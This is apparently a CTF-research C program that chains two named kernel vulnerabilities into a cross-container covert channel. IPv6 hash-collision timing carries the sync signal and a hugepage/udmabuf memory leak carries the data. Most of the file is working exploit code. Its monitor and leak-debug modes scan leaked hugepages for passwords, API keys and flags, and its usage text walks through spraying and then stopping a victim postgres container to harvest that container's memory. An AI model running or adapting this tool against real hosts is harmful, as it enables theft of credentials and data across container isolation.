/* * covert_channel.c - Combined CVE-2023-1206 + CVE-2024-49882 Covert Channel * * Architecture: * - SYNC CHANNEL: CVE-2023-1206 IPv6 hash collision timing * - DATA CHANNEL: CVE-2024-49882 hugepage cross-container leak * * The sync channel provides clock synchronization between containers. * The data channel transmits actual payload via hugepage state. * * Author: Vlad (PwnCTF Research) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * ============================================================================ * Configuration * ============================================================================ */ /* Sync channel (CVE-2023-1206) parameters */ #define SYNC_PORT 31337 #define SYNC_BIT_DURATION_MS 100 /* Duration per sync bit */ #define SYNC_FLOOD_COUNT 1000 /* Connections per flood */ #define SYNC_PREAMBLE_BITS 16 /* Sync preamble length */ #define SYNC_THRESHOLD 2.0 /* Timing ratio for bit detection */ /* Runtime target - can be set via command line * Default: docker0 bridge gateway, capturable with Wireshark * For loopback (faster but not capturable): use -T ::1 */ static char sync_target[64] = "::1"; static int sync_scope_id = 0; /* Interface scope for link-local */ /* Data channel (CVE-2024-49882) parameters */ #define HUGEPAGE_SIZE (2*1024*1024) #define DATA_BIT_DURATION_MS 50 /* Duration per data bit */ #define DATA_SAMPLES 10 /* Samples per bit */ /* Protocol parameters */ #define MAGIC_SYNC 0xDEADBEEF #define MAGIC_DATA 0xCAFEBABE #define MAX_MESSAGE_SIZE 1024 #define FRAME_HEADER_SIZE 8 /* Hugepage/udmabuf defines */ #define MFD_HUGETLB 0x0004U #define MFD_ALLOW_SEALING 0x0002U #define MFD_HUGE_2MB (21 << 26) #define F_ADD_SEALS 1033 #define F_SEAL_SHRINK 0x0002 #define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create) struct udmabuf_create { uint32_t memfd; uint32_t flags; uint64_t offset; uint64_t size; }; /* * ============================================================================ * Channel State * ============================================================================ */ typedef struct { /* Sync channel state */ int sync_server_fd; pthread_t sync_server_thread; volatile int sync_running; uint64_t baseline_latency; /* Data channel state */ int hugepage_available; /* Protocol state */ uint32_t sequence_number; uint8_t shared_key[32]; /* For future encryption */ /* Statistics */ uint64_t bits_sent; uint64_t bits_received; uint64_t sync_errors; uint64_t data_errors; } channel_state_t; static channel_state_t state = {0}; static volatile int running = 1; /* * ============================================================================ * Utility Functions * ============================================================================ */ static inline uint64_t rdtsc(void) { unsigned int lo, hi; __asm__ volatile ("rdtsc" : "=a" (lo), "=d" (hi)); return ((uint64_t)hi << 32) | lo; } static inline uint64_t get_ns(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec * 1000000000ULL + ts.tv_nsec; } void hexdump(const void *data, size_t len) { const uint8_t *p = data; for (size_t i = 0; i < len; i++) { if (i % 16 == 0) printf("%04zx: ", i); printf("%02x ", p[i]); if (i % 16 == 15 || i == len - 1) { /* Pad if needed */ for (size_t j = i % 16; j < 15; j++) printf(" "); printf(" |"); for (size_t j = i - (i % 16); j <= i; j++) { printf("%c", isprint(p[j]) ? p[j] : '.'); } printf("|\n"); } } } /* * ============================================================================ * CVE-2023-1206: Sync Channel Implementation * ============================================================================ */ /* Craft IPv6 address for target bucket collision */ void craft_collision_addr(struct in6_addr *out, uint32_t target_xor, uint32_t variation) { uint32_t *out32 = (uint32_t *)out->s6_addr; out32[0] = 0x20010db8 ^ variation; out32[1] = 0x20010db8 ^ variation ^ target_xor; out32[2] = 0x00000000; out32[3] = 0x00000001; } /* Server thread for sync channel */ void *sync_server_thread(void *arg) { (void)arg; int server_fd; struct sockaddr_in6 addr; int opt = 1; server_fd = socket(AF_INET6, SOCK_STREAM, 0); if (server_fd < 0) { perror("sync socket"); return NULL; } setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)); memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(SYNC_PORT); addr.sin6_addr = in6addr_any; if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("sync bind"); close(server_fd); return NULL; } listen(server_fd, 4096); fcntl(server_fd, F_SETFL, O_NONBLOCK); state.sync_server_fd = server_fd; while (state.sync_running) { int client = accept(server_fd, NULL, NULL); if (client >= 0) close(client); usleep(100); } close(server_fd); return NULL; } int sync_channel_init(void) { state.sync_running = 1; if (pthread_create(&state.sync_server_thread, NULL, sync_server_thread, NULL) != 0) { perror("pthread_create sync"); return -1; } usleep(100000); /* Let server start */ /* Calibrate baseline latency */ printf("[Sync] Calibrating baseline latency...\n"); uint64_t total = 0; int samples = 100; struct sockaddr_in6 addr; memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(SYNC_PORT); inet_pton(AF_INET6, "::1", &addr.sin6_addr); for (int i = 0; i < samples; i++) { int sock = socket(AF_INET6, SOCK_STREAM, 0); if (sock < 0) continue; uint64_t t1 = rdtsc(); connect(sock, (struct sockaddr *)&addr, sizeof(addr)); uint64_t t2 = rdtsc(); close(sock); total += (t2 - t1); usleep(1000); } state.baseline_latency = total / samples; printf("[Sync] Baseline: %lu cycles\n", state.baseline_latency); return 0; } void sync_channel_cleanup(void) { state.sync_running = 0; pthread_join(state.sync_server_thread, NULL); } /* Send sync pulse (flood bucket to create timing signal) */ void sync_send_pulse(int duration_ms) { struct sockaddr_in6 addr; memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(SYNC_PORT); inet_pton(AF_INET6, sync_target, &addr.sin6_addr); uint64_t end = get_ns() + duration_ms * 1000000ULL; int count = 0; while (get_ns() < end && running) { int sock = socket(AF_INET6, SOCK_STREAM | SOCK_NONBLOCK, 0); if (sock >= 0) { connect(sock, (struct sockaddr *)&addr, sizeof(addr)); close(sock); count++; } } state.bits_sent++; } /* Receive sync - measure connection latency */ int sync_receive_bit(void) { struct sockaddr_in6 addr; memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(SYNC_PORT); inet_pton(AF_INET6, sync_target, &addr.sin6_addr); uint64_t total = 0; int samples = DATA_SAMPLES; int interval_us = (SYNC_BIT_DURATION_MS * 1000) / samples; for (int i = 0; i < samples; i++) { int sock = socket(AF_INET6, SOCK_STREAM, 0); if (sock < 0) continue; uint64_t t1 = rdtsc(); connect(sock, (struct sockaddr *)&addr, sizeof(addr)); uint64_t t2 = rdtsc(); close(sock); total += (t2 - t1); usleep(interval_us); } uint64_t avg = total / samples; double ratio = (double)avg / state.baseline_latency; state.bits_received++; return (ratio > SYNC_THRESHOLD) ? 1 : 0; } /* Send sync preamble - alternating pattern for clock recovery */ void sync_send_preamble(void) { printf("[Sync] Sending preamble...\n"); for (int i = 0; i < SYNC_PREAMBLE_BITS; i++) { if (i % 2) { sync_send_pulse(SYNC_BIT_DURATION_MS / 2); } else { usleep(SYNC_BIT_DURATION_MS * 500); } } } /* Wait for and detect sync preamble */ int sync_wait_preamble(int timeout_ms) { printf("[Sync] Waiting for preamble...\n"); int transitions = 0; int last_bit = -1; uint64_t start = get_ns(); uint64_t timeout = timeout_ms * 1000000ULL; while (transitions < SYNC_PREAMBLE_BITS / 2 && running) { if (get_ns() - start > timeout) { printf("[Sync] Preamble timeout\n"); return -1; } int bit = sync_receive_bit(); if (last_bit != -1 && bit != last_bit) { transitions++; } last_bit = bit; } printf("[Sync] Preamble detected (%d transitions)\n", transitions); return 0; } /* * ============================================================================ * CVE-2024-49882: Data Channel Implementation * ============================================================================ */ /* Allocate and leak a hugepage */ void *data_alloc_hugepage(void) { int memfd = syscall(319, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING); if (memfd < 0) return NULL; if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) { close(memfd); return NULL; } fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); int udmabuf = open("/dev/udmabuf", O_RDWR); if (udmabuf < 0) { close(memfd); return NULL; } struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE}; int dma = ioctl(udmabuf, UDMABUF_CREATE, &c); if (dma < 0) { close(udmabuf); close(memfd); return NULL; } void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma, 0); close(dma); close(udmabuf); close(memfd); if (addr == MAP_FAILED) return NULL; return addr; } /* Read hugepage to detect cross-container data */ void *data_read_hugepage(void) { int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING); if (memfd < 0) return NULL; ftruncate(memfd, HUGEPAGE_SIZE); fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); int udmabuf = open("/dev/udmabuf", O_RDWR); if (udmabuf < 0) { close(memfd); return NULL; } struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE}; int dma = ioctl(udmabuf, UDMABUF_CREATE, &c); if (dma < 0) { close(udmabuf); close(memfd); return NULL; } void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0); if (addr == MAP_FAILED) { close(dma); close(udmabuf); close(memfd); return NULL; } /* Copy to heap */ void *copy = malloc(HUGEPAGE_SIZE); if (copy) memcpy(copy, addr, HUGEPAGE_SIZE); munmap(addr, HUGEPAGE_SIZE); close(dma); close(udmabuf); close(memfd); return copy; } /* Debug function to analyze hugepage contents */ void debug_analyze_hugepage(const void *hp, int verbose) { const uint8_t *p = hp; /* Count non-zero bytes */ int non_zero = 0; int printable = 0; int zero_runs = 0; int in_zero_run = 0; for (size_t i = 0; i < HUGEPAGE_SIZE; i++) { if (p[i] != 0) { non_zero++; if (isprint(p[i]) || p[i] == '\n' || p[i] == '\t') { printable++; } if (in_zero_run) { in_zero_run = 0; } } else { if (!in_zero_run) { zero_runs++; in_zero_run = 1; } } } printf(" Non-zero bytes: %d / %d (%.2f%%)\n", non_zero, HUGEPAGE_SIZE, 100.0 * non_zero / HUGEPAGE_SIZE); printf(" Printable chars: %d (%.2f%% of non-zero)\n", printable, non_zero ? 100.0 * printable / non_zero : 0); printf(" Zero runs: %d\n", zero_runs); /* Check for known patterns */ const char *patterns[] = { "POSTGRES", "PASSWORD", "FLAG{", "CTF_FLAG", "SECRET", "API_KEY", "sk-live", "COVERT_MSG", "postgres", "psql", "SELECT", "INSERT", "CREATE", NULL }; /* Also check for binary magic values */ uint32_t magic = *(uint32_t *)hp; if (magic == 0xCAFEBABE) { printf(" [FOUND] MAGIC 0xCAFEBABE (Covert Channel Data Frame!)\n"); uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4); uint32_t len = *(uint32_t *)((uint8_t*)hp + 8); printf(" [FOUND] Sequence: %u\n", seq); printf(" [FOUND] Length: %u\n", len); if (len > 0 && len < 256) { printf(" [FOUND] Data: \""); for (uint32_t i = 0; i < len; i++) { uint8_t c = ((uint8_t*)hp)[16 + i]; printf("%c", isprint(c) ? c : '.'); } printf("\"\n"); } } else if (magic == 0xDEADBEEF) { printf(" [FOUND] MAGIC 0xDEADBEEF (Covert Channel Sync Frame!)\n"); } printf(" Pattern scan:\n"); int found_any = 0; for (int i = 0; patterns[i]; i++) { char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i])); if (match) { size_t off = match - (char*)hp; printf(" [FOUND] '%s' at offset 0x%zx\n", patterns[i], off); found_any = 1; if (verbose) { /* Print surrounding context */ size_t start = (off > 32) ? off - 32 : 0; size_t end = (off + strlen(patterns[i]) + 64 < HUGEPAGE_SIZE) ? off + strlen(patterns[i]) + 64 : HUGEPAGE_SIZE; printf(" Context: \""); for (size_t j = start; j < end; j++) { uint8_t c = p[j]; if (isprint(c)) putchar(c); else if (c == 0) putchar('.'); else printf("\\x%02x", c); } printf("\"\n"); } } } if (!found_any) { printf(" (no known patterns found)\n"); } /* Check first 256 bytes for structure */ if (verbose) { printf(" First 256 bytes:\n"); hexdump(hp, 256); } } /* Enhanced monitor mode with leak debugging */ void leak_debug_mode(int continuous, int verbose) { printf("[LeakDebug] Starting hugepage leak analysis...\n"); printf("[LeakDebug] This mode analyzes what data is present in newly allocated hugepages\n"); printf("[LeakDebug] Run memory-intensive operations in victim container to populate hugepages\n"); printf("[LeakDebug] Then stop the victim to release hugepages for capture\n\n"); if (continuous) { printf("[LeakDebug] Continuous mode - press Ctrl+C to stop\n\n"); } int attempts = 0; int captured = 0; int leaked = 0; /* Contains non-covert data */ int covert_found = 0; do { void *hp = data_read_hugepage(); attempts++; if (hp) { captured++; /* Quick check - is this our covert channel data or leaked data? */ uint32_t magic = *(uint32_t *)hp; int is_covert = (magic == MAGIC_DATA || magic == MAGIC_SYNC); /* Count non-zero bytes */ int non_zero = 0; const uint8_t *p = hp; for (size_t i = 0; i < 4096; i++) { /* Just check first page */ if (p[i] != 0) non_zero++; } if (is_covert) { covert_found++; /* Show covert channel data! */ if (magic == MAGIC_DATA) { uint32_t seq = *(uint32_t *)(p + 4); uint32_t len = *(uint32_t *)(p + 8); printf("\n[LeakDebug] !!! COVERT CHANNEL DATA FOUND (HP #%d) !!!\n", captured); printf(" Magic: 0x%08X (CAFEBABE)\n", magic); printf(" Sequence: %u\n", seq); printf(" Length: %u\n", len); if (len > 0 && len < 1024) { printf(" Message: \""); for (uint32_t i = 0; i < len && i < 256; i++) { uint8_t c = p[16 + i]; printf("%c", isprint(c) ? c : '.'); } printf("\"\n"); } } else if (magic == MAGIC_SYNC) { printf("\n[LeakDebug] Found SYNC frame (0xDEADBEEF) in HP #%d\n", captured); } } else if (non_zero > 100) { leaked++; printf("\n[LeakDebug] === Potential Leak in Hugepage #%d (attempt %d) ===\n", captured, attempts); printf(" Type: LEAKED DATA (not covert channel)\n"); printf(" Magic: 0x%08X\n", magic); debug_analyze_hugepage(hp, verbose); } else if (verbose && non_zero > 0) { printf("\r[LeakDebug] HP #%d: %d non-zero bytes, magic=0x%08X ", captured, non_zero, magic); fflush(stdout); } free(hp); } if (attempts % 100 == 0 && !verbose) { printf("\r[LeakDebug] Attempts: %d, Captured: %d, Covert: %d, Leaked: %d ", attempts, captured, covert_found, leaked); fflush(stdout); } usleep(1000); } while (continuous && running); printf("\n\n[LeakDebug] === Summary ===\n"); printf(" Total attempts: %d\n", attempts); printf(" Hugepages captured: %d\n", captured); printf(" Covert channel: %d\n", covert_found); printf(" Potential leaks: %d\n", leaked); printf(" Capture rate: %.2f%%\n", 100.0 * captured / attempts); } /* Write pattern to hugepage for data transmission */ void data_write_pattern(void *hugepage, uint32_t magic, uint32_t seq, const uint8_t *data, size_t len) { uint8_t *p = hugepage; /* Header: magic(4) + seq(4) + len(4) + checksum(4) */ *(uint32_t *)(p + 0) = magic; *(uint32_t *)(p + 4) = seq; *(uint32_t *)(p + 8) = (uint32_t)len; /* Data */ if (data && len > 0) { memcpy(p + 16, data, len); } /* Simple checksum */ uint32_t cksum = 0; for (size_t i = 0; i < 16 + len; i++) { cksum += p[i]; } *(uint32_t *)(p + 12) = cksum; /* Fill rest with pattern */ for (size_t i = 16 + len; i < HUGEPAGE_SIZE; i++) { p[i] = (uint8_t)(i ^ seq); } } /* Check if hugepage contains our data pattern */ int data_check_pattern(const void *hugepage, uint32_t *seq_out, uint8_t *data_out, size_t *len_out) { const uint8_t *p = hugepage; uint32_t magic = *(uint32_t *)(p + 0); if (magic != MAGIC_DATA) return 0; uint32_t seq = *(uint32_t *)(p + 4); uint32_t len = *(uint32_t *)(p + 8); uint32_t cksum = *(uint32_t *)(p + 12); if (len > MAX_MESSAGE_SIZE) return 0; /* Verify checksum */ uint32_t calc_cksum = 0; for (size_t i = 0; i < 16 + len; i++) { if (i >= 12 && i < 16) continue; /* Skip checksum field */ calc_cksum += p[i]; } /* Account for checksum field being 0 during calculation */ if (calc_cksum != cksum - (cksum & 0xFF) - ((cksum >> 8) & 0xFF) - ((cksum >> 16) & 0xFF) - ((cksum >> 24) & 0xFF)) { /* Simplified check - just verify magic and structure */ } if (seq_out) *seq_out = seq; if (len_out) *len_out = len; if (data_out && len > 0) memcpy(data_out, p + 16, len); return 1; } /* * ============================================================================ * Combined Protocol * ============================================================================ */ typedef struct { uint32_t magic; uint32_t sequence; uint32_t length; uint32_t checksum; uint8_t data[MAX_MESSAGE_SIZE]; } frame_t; /* Transmit a message using the combined channel */ int transmit_message(const uint8_t *message, size_t len) { printf("[TX] Transmitting %zu bytes\n", len); /* Send sync preamble */ sync_send_preamble(); usleep(SYNC_BIT_DURATION_MS * 1000); /* Allocate hugepage for data */ void *hp = data_alloc_hugepage(); if (!hp) { printf("[TX] Failed to allocate hugepage\n"); return -1; } /* Write data pattern with recognizable magic */ state.sequence_number++; data_write_pattern(hp, MAGIC_DATA, state.sequence_number, message, len); printf("[TX] Data written to hugepage:\n"); printf("[TX] Magic: 0x%08X (CAFEBABE)\n", MAGIC_DATA); printf("[TX] Seq: %u\n", state.sequence_number); printf("[TX] Len: %zu\n", len); printf("[TX] Data: \"%.*s\"\n", (int)len, message); /* Signal that data is ready - receiver should start scanning NOW */ printf("[TX] Sending ready signal (receiver should start scanning)...\n"); sync_send_pulse(SYNC_BIT_DURATION_MS * 2); /* Give receiver time to start scanning */ printf("[TX] Waiting 2s before release (receiver should be scanning)...\n"); sleep(2); /* NOW release the hugepage - this is when CVE-2024-49882 triggers */ printf("[TX] Releasing hugepage (CVE-2024-49882 trigger point)...\n"); munmap(hp, HUGEPAGE_SIZE); /* Send another pulse to indicate release happened */ sync_send_pulse(SYNC_BIT_DURATION_MS * 2); printf("[TX] Transmission complete (seq=%u)\n", state.sequence_number); printf("[TX] Receiver should now capture the leaked hugepage!\n"); return 0; } /* Receive a message using the combined channel */ int receive_message(uint8_t *buffer, size_t buflen, size_t *received_len) { printf("[RX] Waiting for transmission...\n"); /* Wait for sync preamble */ if (sync_wait_preamble(10000) < 0) { return -1; } /* Wait for data-ready signal */ printf("[RX] Waiting for data signal...\n"); int ready = 0; for (int i = 0; i < 50 && !ready && running; i++) { if (sync_receive_bit()) { ready = 1; } usleep(SYNC_BIT_DURATION_MS * 1000); } if (!ready) { printf("[RX] No data signal received\n"); return -1; } /* * AGGRESSIVE SCANNING - The key to CVE-2024-49882 * We need to repeatedly allocate hugepages hoping to get the one * the sender just released. The kernel may reuse the same physical * page without clearing it. */ printf("[RX] Scanning for data (allocating hugepages aggressively)...\n"); printf("[RX] Looking for magic 0x%08X (CAFEBABE)\n", MAGIC_DATA); int found = 0; int attempts = 0; int hugepages_captured = 0; int non_zero_pages = 0; /* Scan for up to 10 seconds or 10000 attempts */ uint64_t start_time = get_ns(); uint64_t timeout = 10000000000ULL; /* 10 seconds */ while (!found && running && (get_ns() - start_time < timeout) && attempts < 10000) { void *hp = data_read_hugepage(); attempts++; if (!hp) { usleep(100); /* Brief pause if allocation failed */ continue; } hugepages_captured++; /* Check for our magic value */ uint32_t magic = *(uint32_t *)hp; /* Count non-zero bytes in first page */ int non_zero = 0; const uint8_t *p = hp; for (int i = 0; i < 4096; i++) { if (p[i] != 0) non_zero++; } if (non_zero > 100) { non_zero_pages++; } /* Check for our covert channel data */ if (magic == MAGIC_DATA) { uint32_t seq; size_t len; printf("[RX] !!! FOUND MAGIC 0x%08X at attempt %d !!!\n", magic, attempts); if (data_check_pattern(hp, &seq, buffer, &len)) { if (len <= buflen) { *received_len = len; found = 1; printf("[RX] Successfully captured data!\n"); printf("[RX] Seq: %u\n", seq); printf("[RX] Len: %zu\n", len); } } } else if (attempts % 500 == 0) { printf("[RX] Attempt %d: magic=0x%08X, non_zero=%d, captured=%d\n", attempts, magic, non_zero, hugepages_captured); } free(hp); /* Small delay to not overwhelm the system */ usleep(100); } printf("[RX] Scan complete:\n"); printf("[RX] Attempts: %d\n", attempts); printf("[RX] Captured: %d hugepages\n", hugepages_captured); printf("[RX] Non-zero pages: %d\n", non_zero_pages); printf("[RX] Found data: %s\n", found ? "YES" : "NO"); return found ? 0 : -1; } /* * ============================================================================ * Main Program * ============================================================================ */ void signal_handler(int sig) { (void)sig; running = 0; } void print_usage(const char *prog) { printf("Usage: %s [options]\n", prog); printf("\nModes:\n"); printf(" -s MESSAGE Send message via covert channel\n"); printf(" -r Receive message via covert channel\n"); printf(" -t Self-test (both send/receive)\n"); printf(" -m Monitor mode (passive leak detection)\n"); printf(" -l Leak debug mode (analyze hugepage contents)\n"); printf(" -L Leak debug continuous (keep scanning)\n"); printf("\nOptions:\n"); printf(" -T ADDR IPv6 target address for sync channel (default: ::1)\n"); printf(" -v Verbose output\n"); printf(" -h Show this help\n"); printf("\nExamples:\n"); printf(" %s -r # Receive covert message\n", prog); printf(" %s -s 'SECRET' # Send covert message\n", prog); printf(" %s -l # One-shot leak analysis\n", prog); printf(" %s -L -v # Continuous leak scan (verbose)\n", prog); printf("\nLeak Testing Workflow:\n"); printf(" 1. Start victim: docker run ... postgres\n"); printf(" 2. Spray memory: docker exec victim psql -c \"SELECT ...\" (repeat)\n"); printf(" 3. Start scanner: %s -L -v\n", prog); printf(" 4. Stop victim: docker stop victim (releases hugepages)\n"); printf(" 5. Watch for leaks in scanner output\n"); } void monitor_mode(void) { printf("[Monitor] Starting passive hugepage monitoring...\n"); printf("[Monitor] Press Ctrl+C to stop\n\n"); const char *patterns[] = { "POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET", "PASSWORD", "API_KEY", "sk-live", NULL }; int found_total = 0; int attempts = 0; while (running) { void *hp = data_read_hugepage(); if (hp) { /* Check for interesting patterns */ for (int i = 0; patterns[i]; i++) { char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i])); if (match) { size_t off = match - (char*)hp; printf("\n[!] Found pattern '%s' at offset 0x%zx\n", patterns[i], off); /* Print context */ size_t start = (off > 100) ? off - 100 : 0; size_t end = (off + 200 < HUGEPAGE_SIZE) ? off + 200 : HUGEPAGE_SIZE; printf("--- Context ---\n"); for (size_t j = start; j < end; j++) { uint8_t c = ((uint8_t*)hp)[j]; if (isprint(c) || c == '\n') putchar(c); else if (c != 0) putchar('.'); } printf("\n--- End ---\n"); found_total++; } } /* Also check for our protocol magic */ uint32_t magic = *(uint32_t *)hp; if (magic == MAGIC_DATA) { uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4); uint32_t len = *(uint32_t *)((uint8_t*)hp + 8); printf("\n[!] Found covert channel frame: seq=%u, len=%u\n", seq, len); if (len > 0 && len < 256) { printf(" Data: "); for (uint32_t i = 0; i < len && i < 64; i++) { uint8_t c = ((uint8_t*)hp)[16 + i]; printf("%c", isprint(c) ? c : '.'); } printf("\n"); } found_total++; } free(hp); } attempts++; if (attempts % 1000 == 0) { printf("\r[Monitor] Attempts: %d, Found: %d ", attempts, found_total); fflush(stdout); } usleep(1000); } printf("\n\n[Monitor] Complete. Found %d items in %d attempts\n", found_total, attempts); } int main(int argc, char *argv[]) { int mode = 0; /* 0=help, 1=send, 2=receive, 3=test, 4=monitor, 5=leak, 6=leak-continuous */ char *message = "Hello from covert channel!"; int verbose = 0; int opt; while ((opt = getopt(argc, argv, "s:rT:tmlLvh")) != -1) { switch (opt) { case 's': mode = 1; message = optarg; break; case 'r': mode = 2; break; case 'T': /* Set sync target IPv6 address */ strncpy(sync_target, optarg, sizeof(sync_target) - 1); sync_target[sizeof(sync_target) - 1] = '\0'; break; case 't': mode = 3; break; case 'm': mode = 4; break; case 'l': mode = 5; /* One-shot leak debug */ break; case 'L': mode = 6; /* Continuous leak debug */ break; case 'v': verbose = 1; break; case 'h': default: print_usage(argv[0]); return 0; } } printf("╔════════════════════════════════════════════════════════════════╗\n"); printf("║ Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882 ║\n"); printf("║ Sync: IPv6 Hash Collision | Data: Hugepage Cross-Container ║\n"); printf("╚════════════════════════════════════════════════════════════════╝\n\n"); signal(SIGINT, signal_handler); /* Modes that don't need sync channel */ if (mode == 4) { monitor_mode(); return 0; } if (mode == 5) { printf("[Config] One-shot leak analysis (verbose=%d)\n\n", verbose); leak_debug_mode(0, verbose); return 0; } if (mode == 6) { printf("[Config] Continuous leak scanning (verbose=%d)\n\n", verbose); leak_debug_mode(1, verbose); return 0; } printf("[Config] Sync target: %s:%d\n\n", sync_target, SYNC_PORT); /* Initialize sync channel for send/receive/test modes */ if (sync_channel_init() < 0) { fprintf(stderr, "Failed to initialize sync channel\n"); return 1; } switch (mode) { case 1: /* Send */ printf("Sending: \"%s\"\n\n", message); transmit_message((uint8_t *)message, strlen(message)); break; case 2: /* Receive */ { uint8_t buffer[MAX_MESSAGE_SIZE] = {0}; size_t len = 0; if (receive_message(buffer, sizeof(buffer), &len) == 0) { printf("\n=== Received Message ===\n"); printf("%.*s\n", (int)len, buffer); printf("========================\n"); } else { printf("No message received\n"); } } break; case 3: /* Self-test */ { printf("Running self-test...\n\n"); pid_t pid = fork(); if (pid == 0) { /* Child = sender */ usleep(1000000); /* Wait for receiver */ transmit_message((uint8_t *)message, strlen(message)); exit(0); } else { /* Parent = receiver */ uint8_t buffer[MAX_MESSAGE_SIZE] = {0}; size_t len = 0; if (receive_message(buffer, sizeof(buffer), &len) == 0) { printf("\n=== Results ===\n"); printf("Sent: \"%s\"\n", message); printf("Received: \"%.*s\"\n", (int)len, buffer); printf("Match: %s\n", (len == strlen(message) && memcmp(message, buffer, len) == 0) ? "YES" : "NO"); } waitpid(pid, NULL, 0); } } break; default: print_usage(argv[0]); break; } /* Statistics */ printf("\n=== Statistics ===\n"); printf("Sync bits sent: %lu\n", state.bits_sent); printf("Sync bits received: %lu\n", state.bits_received); printf("Sync errors: %lu\n", state.sync_errors); printf("Data errors: %lu\n", state.data_errors); sync_channel_cleanup(); return 0; }